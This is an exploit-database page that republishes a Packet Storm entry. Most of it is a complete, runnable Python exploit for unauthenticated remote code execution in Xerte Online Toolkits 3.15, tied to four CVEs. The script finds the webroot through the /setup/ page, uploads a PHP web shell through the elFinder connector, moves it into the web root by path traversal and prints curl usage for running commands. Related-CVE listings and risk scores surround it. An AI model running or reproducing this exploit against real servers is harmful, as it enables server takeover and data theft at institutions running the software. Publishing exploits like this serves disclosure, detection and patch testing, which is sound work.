Lucene search
K

📄 Xerte Online Toolkits 3.15 Unauthenticated Remote Code Execution

🗓️ 06 Jul 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 20 Views

Exploits unauthenticated remote code execution in Xerte Online Toolkits 3.15 via elFinder.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-34414
22 Apr 202618:32
attackerkb
ATTACKERKB
CVE-2026-34415
22 Apr 202618:33
attackerkb
ATTACKERKB
CVE-2026-34413
22 Apr 202618:33
attackerkb
ATTACKERKB
CVE-2026-41459
22 Apr 202618:32
attackerkb
Circl
CVE-2026-34413
22 Apr 202620:02
circl
Circl
CVE-2026-34414
22 Apr 202621:20
circl
Circl
CVE-2026-34415
22 Apr 202620:01
circl
Circl
CVE-2026-41459
16 Jun 202615:57
circl
CNNVD
Xerte Online Toolkits 安全漏洞
22 Apr 202600:00
cnnvd
CNNVD
Xerte Online Toolkits 安全漏洞
22 Apr 202600:00
cnnvd
Rows per page
==================================================================================================================================
    | # Title     : Xerte Online Toolkits 3.15 Unauthenticated Remote Code Execution Exploit                                         |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://github.com/bootstrapbool/xerteonlinetoolkits-rce                                                         |
    ==================================================================================================================================
    
    [+] Summary    : This Python script is an exploit tool for Xerte Online Toolkits targeting multiple vulnerabilities (CVE-2026-34413, CVE-2026-34414, CVE-2026-34415, CVE-2026-41459) in the elFinder file manager integration.
    
    
    [+] Payload    : 
    
    #!/usr/bin/env python3
    
    import argparse
    import base64
    import random
    import re
    import string
    import sys
    from urllib.parse import urljoin, urlparse
    
    import requests
    from bs4 import BeautifulSoup
    
    
    class XerteExploit:
        def __init__(self, target_url, username=None, webroot=None, proxy=None):
            """
            Initialize the Xerte exploit.
            
            Args:
                target_url (str): Base URL of the Xerte installation
                username (str, optional): Valid username. If None, assumes guest authentication.
                webroot (str, optional): Full filepath to the local webroot
                proxy (str, optional): Proxy URL (e.g., http://127.0.0.1:8080)
            """
            self.target_url = target_url.rstrip('/')
            self.username = username
            self.webroot = webroot
            self.session = requests.Session()
            
            if proxy:
                self.session.proxies = {'http': proxy, 'https': proxy}
            
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            })
    
            self.root_dir_id = 'l1_Lw'
            self.nottingham_suffix = '--Nottingham' if not username else f'-{username}-Nottingham'
    
        def _get_webroot(self):
            """Retrieve the webroot from the /setup/ endpoint."""
            uri = urljoin(self.target_url, 'setup/')
            print(f"[*] Attempting to retrieve webroot from {uri}")
            
            try:
                res = self.session.get(uri, timeout=10)
            except requests.RequestException as e:
                print(f"[!] Failed to connect: {e}")
                return None
            
            if res.status_code != 200:
                print("[!] Failed to connect to /setup. It was likely removed by an administrator.")
                return None
            
            soup = BeautifulSoup(res.text, 'html.parser')
            for element in soup.find_all(text=re.compile(r"Delete 'database\.php' from")):
                code = element.find_next('code')
                if code:
                    return code.text.strip()
            
            return None
    
        def _get_elfinder_id(self, name, volume_id='l1'):
            """Generate elFinder ID for a given name."""
            encoded = base64.b64encode(name.encode()).decode()
            encoded = re.sub(r'=+$', '', encoded)
            return f"{volume_id}_{encoded}"
    
        def _create_dir(self, connector_uri, params, dirname, root_dir_id):
            """Create a directory using elFinder."""
            dir_id = self._get_elfinder_id(dirname)
            
            create_dir_params = params.copy()
            create_dir_params.update({
                'cmd': 'mkdir',
                'name': dirname,
                'target': root_dir_id
            })
            
            try:
                res = self.session.get(connector_uri, params=create_dir_params, timeout=10)
            except requests.RequestException as e:
                print(f"[!] Failed to create directory: {e}")
                return None
            
            if res.status_code != 302:
                print(f"[!] Failed to create directory. Status: {res.status_code}")
                return None
            
            return dir_id
    
        def _upload_file(self, connector_uri, params, filename, dir_id, payload):
            """Upload a file using elFinder."""
            data = {
                'cmd': 'upload',
                'target': dir_id
            }
    
            files = {
                'upload[]': (filename, f'<br>{payload}', 'text/plain')
            }
            
            try:
                res = self.session.post(
                    connector_uri,
                    params=params,
                    data=data,
                    files=files,
                    timeout=30
                )
            except requests.RequestException as e:
                print(f"[!] Failed to upload file: {e}")
                return None
            
            if res.status_code != 302:
                print(f"[!] Failed to upload file. Status: {res.status_code}")
                return None
            
            return self._get_elfinder_id(filename)
    
        def _rename_file(self, connector_uri, params, shellname, dirname, file_id):
            """Rename a file to achieve path traversal."""
            rename_params = params.copy()
            rename_params.update({
                'cmd': 'rename',
                'target': file_id,
                'name': f"{dirname}/../../../../{shellname}"
            })
            
            try:
                res = self.session.get(connector_uri, params=rename_params, timeout=10)
            except requests.RequestException as e:
                print(f"[!] Failed to rename file: {e}")
                return False
            
            if res.status_code != 302:
                print(f"[!] Failed to rename file. Status: {res.status_code}")
                return False
            
            return True
    
        def _generate_random_name(self, length=8):
            """Generate a random alphanumeric string."""
            return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
    
        def exploit(self):
            """Execute the exploit."""
            connector_uri = urljoin(self.target_url, '/editor/elfinder/php/connector.php')
    
            if not self.webroot:
                self.webroot = self._get_webroot()
                if not self.webroot:
                    print("[!] Could not determine webroot. Please specify with --webroot")
                    return False
    
            self.webroot = self.webroot.rstrip('/')
            print(f"[*] Application Root: {self.webroot}")
    
            dirname = self._generate_random_name()
            filename = f"{dirname}.txt"
            shellname = f"{dirname}.php4"
    
            payload = "<?php system($_GET['cmd']); ?>"
            
            success = False
    
            for project_id in range(1, 101):
                project_dir = f"/USER-FILES/{project_id}{self.nottingham_suffix}/"
                print(f"[*] Attempting {self.webroot}{project_dir}")
                
                project_dir_uri = urljoin(self.target_url, project_dir)
                
                params = {
                    'uploadDir': f"{self.webroot}{project_dir}",
                    'uploadURL': project_dir_uri
                }
    
                dir_id = self._create_dir(connector_uri, params, dirname, self.root_dir_id)
                if not dir_id:
                    continue
    
                file_id = self._upload_file(
                    connector_uri,
                    params,
                    filename,
                    self.root_dir_id,
                    payload
                )
                if not file_id:
                    continue
      
                if not self._rename_file(connector_uri, params, shellname, dirname, file_id):
                    continue
    
                shell_url = urljoin(self.target_url, shellname)
                try:
                    res = self.session.get(shell_url, timeout=10)
                    if res.status_code == 200:
                        print(f"[+] Successfully uploaded shell at: {shell_url}")
                        success = True
                        break
                    else:
                        print(f"[-] Shell not accessible at {shell_url} (Status: {res.status_code})")
                except requests.RequestException:
                    continue
            
            if not success:
                print("[!] Exploit failed. The target user likely has no projects.")
                return False
            
            print("\n[+] Exploit successful!")
            print(f"[+] Shell URL: {shell_url}")
            print("[+] Example usage: curl '{}?cmd=id'".format(shell_url))
            
            return True
    
        def check(self):
            """Check if the target is vulnerable."""
            uri = urljoin(self.target_url, 'setup/')
            print(f"[*] Checking {uri}")
            
            try:
                res = self.session.get(uri, timeout=10)
            except requests.RequestException as e:
                print(f"[!] Failed to connect: {e}")
                return False
            
            if res.status_code != 200:
                print("[!] /setup not accessible. Target may not be vulnerable.")
                return False
            
            soup = BeautifulSoup(res.text, 'html.parser')
            for element in soup.find_all(text=re.compile(r"Delete 'database\.php' from")):
                code = element.find_next('code')
                if code and code.text.strip():
                    print(f"[+] Target appears vulnerable! Webroot: {code.text.strip()}")
                    return True
            
            print("[-] Target does not appear vulnerable.")
            return False
    
    
    def main():
        parser = argparse.ArgumentParser(
            description='Xerte Online Toolkits RCE Exploit (CVE-2026-34413, CVE-2026-34414, CVE-2026-34415, CVE-2026-41459)'
        )
        parser.add_argument('url', help='Target URL (e.g., http://localhost/xerte)')
        parser.add_argument('-u', '--username', help='Valid username. If not provided, assumes guest authentication.')
        parser.add_argument('-w', '--webroot', help='Full filepath to the local webroot (e.g., /var/www/html/)')
        parser.add_argument('-p', '--proxy', help='Proxy URL (e.g., http://127.0.0.1:8080)')
        parser.add_argument('-c', '--check', action='store_true', help='Only check if target is vulnerable')
        
        args = parser.parse_args()
        
        exploit = XerteExploit(
            target_url=args.url,
            username=args.username,
            webroot=args.webroot,
            proxy=args.proxy
        )
        
        if args.check:
            if exploit.check():
                sys.exit(0)
            else:
                sys.exit(1)
        else:
            if exploit.exploit():
                sys.exit(0)
            else:
                sys.exit(1)
    
    
    if __name__ == "__main__":
        main()
    		
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jul 2026 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 3.19.8
CVSS 49.3
EPSS0.03575
SSVC
20